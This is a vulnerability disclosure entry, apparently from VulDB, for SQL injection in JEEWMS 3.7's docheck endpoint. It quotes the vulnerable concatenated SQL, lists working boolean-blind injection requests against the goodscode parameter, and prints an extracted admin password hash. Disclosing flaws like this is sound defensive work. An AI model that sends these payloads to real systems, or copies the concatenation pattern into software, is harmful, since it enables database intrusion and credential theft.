| Title | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| Description | JEEWMS v3.7 contains a SQL injection vulnerability in the docheck method of WmOmNoticeHController.java (lines 827-829). The goodscode request parameter is concatenated directly into a native SQL statement without parameterization:
String sql = "select sum(base_goodscount) as qua from wv_stock t where t.goods_id LIKE '%" + goods + "%'";
Map<String, Object> binMap = systemService.findOneForJdbc(sql);
An authenticated attacker can inject arbitrary SQL via the goodscode parameter. Boolean-based blind injection was verified end to end: the admin password hash (33beb63a7f11dbd2) in t_s_base_user was fully extracted character by character and matches the real database value. TRUE conditions return "库存为600" in the JSON response, FALSE returns "库存为0".
PoC:
GET /wmOmNoticeHController.do?docheck&goodscode=' and 1=1 -- &goodsqua=1000 -> returns 库存为600
GET /wmOmNoticeHController.do?docheck&goodscode=' and 1=2 -- &goodsqua=1000 -> returns 库存为0
GET /wmOmNoticeHController.do?docheck&goodscode=' and (select length(database()))=3 -- &goodsqua=1000 -> returns 库存为600 (database wms has 3 chars)
GET /wmOmNoticeHController.do?docheck&goodscode=' and length((select password from t_s_base_user where username='admin'))=16 -- &goodsqua=1000 -> returns 库存为600
Vulnerable code file: src/main/java/com/zzjee/wm/controller/WmOmNoticeHController.java:827 |
|---|
| Source | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| User | Lib0gus (UID 101005) |
|---|
| Submission | 09/04/2026 11:08 (2 months ago) |
|---|
| Moderation | 10/11/2026 09:49 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 416554 [erzhongxmu JEEWMS up to 2026.09.27-W39 WmOmNoticeHController.java docheck goodscode sql injection] |
|---|
| Points | 20 |
|---|